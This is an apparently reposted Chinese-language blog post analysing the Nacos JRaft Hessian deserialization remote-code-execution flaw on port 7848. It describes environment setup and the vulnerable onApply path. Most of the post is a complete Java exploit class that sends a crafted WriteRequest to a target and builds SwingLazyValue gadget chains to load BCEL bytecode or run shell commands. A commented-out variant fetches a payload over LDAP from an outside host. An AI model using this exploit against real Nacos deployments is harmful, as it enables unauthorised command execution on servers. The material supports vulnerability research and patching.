Nacos JRaft Hessian 反序列化 RCE 分析
2023-6-21 10:54:6 Author: 瑞不可当(查看原文) 阅读量:114 收藏

参考链接

http://www.bmth666.cn/bmth_blog/2023/06/14/Nacos-Jraft-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/

https://exp.ci/2023/06/14/Nacos-JRaft-Hessian-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#2-0-%E6%97%A0%E6%8D%9F%E5%88%A9%E7%94%A8%E5%8E%9F%E7%90%86

https://y4er.com/posts/nacos-hessian-rce/

https://l3yx.github.io/2023/06/09/Nacos-Raft-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

环境搭建
1.nacos源码运行环境搭建

拉取源码

2.选择分支

3解决报错

#由于项目是使用maven进行管理的,执行mvn clean install -Dmaven.test.skip=true

#进入到module:nacos-console【由于项目是使用SpringBoot】需要进行Run/Debug Configurations注意事宜:一定要增加VM options:-Dnacos.standalone=true, 否则启动的是集群模式

在编译过程中,会报错:consistency 的 entity 包不存在

这是由于 Nacos 使用了 Protobuf 序列化,这些不存在的类都是由 Protobuf 编译出来的,这里我们需要手动将编译出来的类放到源码中。

编译项目:可使用 mvn compile 命令 或 直接在 IDEA maven 视图中 双击 compile

编译完成后,打开nacos-consistency 项目的 target\generated-sources\protobuf\java\com\alibaba\nacos\consistency\entity 目录

即可看到生成的类

直接复制 entity 文件夹到 com.alibaba.nacos.consistency 下

下载nacos 在windows下运行,用 java版本小于8u251的版本运行

起来之后,7848就是我们要打的端口

为什么环境搭建就这么久。。。。。。

漏洞分析

5月25日 Nacos 发布一条安全公告,声称其在 2.2.3 和 1.4.6 两个大版本修复了 7848 端口下一处 Hessian 反序列化漏洞

使用 NacosHessianSerializerFactory 代替了默认的 SerializerFactory,而这是一个白名单类。

第一个断点,是因为之前复现一直报错。key: "Could not find leader : naming_persistent_service_v2"Copy,所以定位到这来看下问题,这里由于第一次攻击会导致 raft 记录的集群地址失效我们需要删除 Nacos 根目录下 data 文件夹下的 protocol 文件夹,然后重启服务才能恢复。我们需要他走到execte()方法

走到onApply,这是他最核心的方法

跟进processor.onApply()方法,在此方法中反序列化

最终exp,写了两个方法,8u251之前,使用com.sun.org.apache.bcel.internal.util.JavaWrapper加载bcel字节码实现rce。

8u251之后用ldap加载jackson。把脚本放到之前搭建的源码环境中,新建一个项目。注意Hessian2Input和Hessian2Output导入的版本4.0.63。

恶意的字节码类也要写好编译一下,贴到代码路径中

exp

import com.alibaba.nacos.consistency.entity.WriteRequest;import com.alibaba.nacos.naming.core.v2.metadata.MetadataOperation;import com.alipay.sofa.jraft.entity.PeerId;import com.alipay.sofa.jraft.option.CliOptions;import com.alipay.sofa.jraft.rpc.impl.GrpcClient;import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.hessian.io.SerializerFactory;import com.google.protobuf.*;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import sun.reflect.misc.MethodUtil;import sun.swing.SwingLazyValue;
import javax.swing.*;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;
public class exp{ public static void main( String[] args ) throws Exception { String address = "192.168.234.165:7848"; byte[] poc = build();
//初始化 RPC 服务 CliClientServiceImpl cliClientService = new CliClientServiceImpl(); cliClientService.init(new CliOptions()); PeerId leader = PeerId.parsePeer(address);
WriteRequest request = WriteRequest.newBuilder() .setGroup("naming_instance_metadata") .setData(ByteString.copyFrom(poc)) .build();
GrpcClient grpcClient = (GrpcClient) cliClientService.getRpcClient();
//反射添加WriteRequest,不然会抛出异常 Field parserClassesField = GrpcClient.class.getDeclaredField("parserClasses"); parserClassesField.setAccessible(true); Map<String, Message> parserClasses = (Map) parserClassesField.get(grpcClient); parserClasses.put(WriteRequest.class.getName(),WriteRequest.getDefaultInstance()); MarshallerHelper.registerRespInstance(WriteRequest.class.getName(),WriteRequest.getDefaultInstance());
Object res = grpcClient.invokeSync(leader.getEndpoint(), request,5000); System.out.println(res); }
private static byte[] build() throws Exception {
// 执行字节码 JavaClass evil = Repository.lookupClass("calc");
byte[] code= Files.readAllBytes(Paths.get("D:\\javajdk\\java\\JavaWeb\\com.Collections\\target\\test-classes\\evil.class")); String payload = "$$BCEL$$" + Utility.encode(code, true); SwingLazyValue slz = new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}); UIDefaults uiDefaults1 = new UIDefaults(); uiDefaults1.put("_", slz); UIDefaults uiDefaults2 = new UIDefaults(); uiDefaults2.put("_", slz);// 执行jndi注入// SwingLazyValue swingLazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new String[]{"ldap://172.17.0.1:1389/Jackson"});//// UIDefaults uiDefaults1 = new UIDefaults();// UIDefaults uiDefaults2 = new UIDefaults();// uiDefaults1.put("aaa", swingLazyValue);// uiDefaults2.put("aaa", swingLazyValue);
HashMap hashMap = makeMap(uiDefaults1,uiDefaults2); MetadataOperation metadataOperation = new MetadataOperation(); setFieldValue(metadataOperation,"metadata",hashMap);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output oo = new Hessian2Output(baos); oo.setSerializerFactory(new SerializerFactory()); oo.getSerializerFactory().setAllowNonSerializable(true); oo.writeObject(metadataOperation); oo.flush();
return baos.toByteArray(); }
public static byte[] build(String cmd) throws Exception { String[] command = {"cmd", "/c", cmd}; java.lang.reflect.Method invoke = MethodUtil.class.getMethod("invoke", java.lang.reflect.Method.class, Object.class, Object[].class); Method exec = Runtime.class.getMethod("exec", String[].class); SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{command}}}); //Object value = swingLazyValue.createValue(new UIDefaults()); // //Method getClassFactoryMethod = SerializerFactory.class.getDeclaredMethod("getClassFactory"); //SwingLazyValue swingLazyValue1 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{getClassFactoryMethod, SerializerFactory.createDefault(), new Object[]{}}}); //Object value = swingLazyValue1.createValue(new UIDefaults()); // //Method allowMethod = ClassFactory.class.getDeclaredMethod("allow", String.class); //SwingLazyValue swingLazyValue2 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{allowMethod, value, new Object[]{"*"}}}); //Object value1 = swingLazyValue2.createValue(new UIDefaults()); //System.out.println(value1);
UIDefaults u1 = new UIDefaults(); UIDefaults u2 = new UIDefaults(); u1.put("key", swingLazyValue); u2.put("key", swingLazyValue); HashMap hashMap = new HashMap(); Class node = Class.forName("java.util.HashMap$Node"); Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node); constructor.setAccessible(true); Object node1 = constructor.newInstance(0, u1, null, null); Object node2 = constructor.newInstance(0, u2, null, null); Field key = node.getDeclaredField("key"); key.setAccessible(true); key.set(node1, u1); key.set(node2, u2); Field size = HashMap.class.getDeclaredField("size"); size.setAccessible(true); size.set(hashMap, 2); Field table = HashMap.class.getDeclaredField("table"); table.setAccessible(true); Object arr = Array.newInstance(node, 2); Array.set(arr, 0, node1); Array.set(arr, 1, node2); table.set(hashMap, arr);

HashMap hashMap1 = new HashMap(); size.set(hashMap1, 2); table.set(hashMap1, arr);

HashMap map = new HashMap(); map.put(hashMap, hashMap); map.put(hashMap1, hashMap1); MetadataOperation metadataOperation = new MetadataOperation(); setFieldValue(metadataOperation,"metadata",hashMap); ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(baos); output.getSerializerFactory().setAllowNonSerializable(true); output.writeObject(metadataOperation); output.flushBuffer();
Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream(baos.toByteArray())); SerializerFactory.createDefault().getClassFactory().allow("*");// hessian2Input.readObject();
return baos.toByteArray(); } public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(s, "table", tbl); return s; } public static void setFieldValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }}

网上好多脚本第一次执行exp的时候会报错:key: "java.lang.ClassCastException: java.util.HashMap cannot be cast to com.alibaba.nacos.naming.core.v2.metadata.MetadataOperation"Copy

类型转换异常,导致的服务出错

MetadataOperation metadataOperation = new MetadataOperation();
setFieldValue(metadataOperation,"metadata",hashMap);

执行效果


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzODI1NjMyNQ==&mid=2247484410&idx=1&sn=737d4525a631b1e050d5894a12fdbeb4&chksm=c283b150f5f438468a0da9e9ad93bcc3a0776eab2159652102dc26e1a109a16d085426b59557#rd
如有侵权请联系:admin#unsafe.sh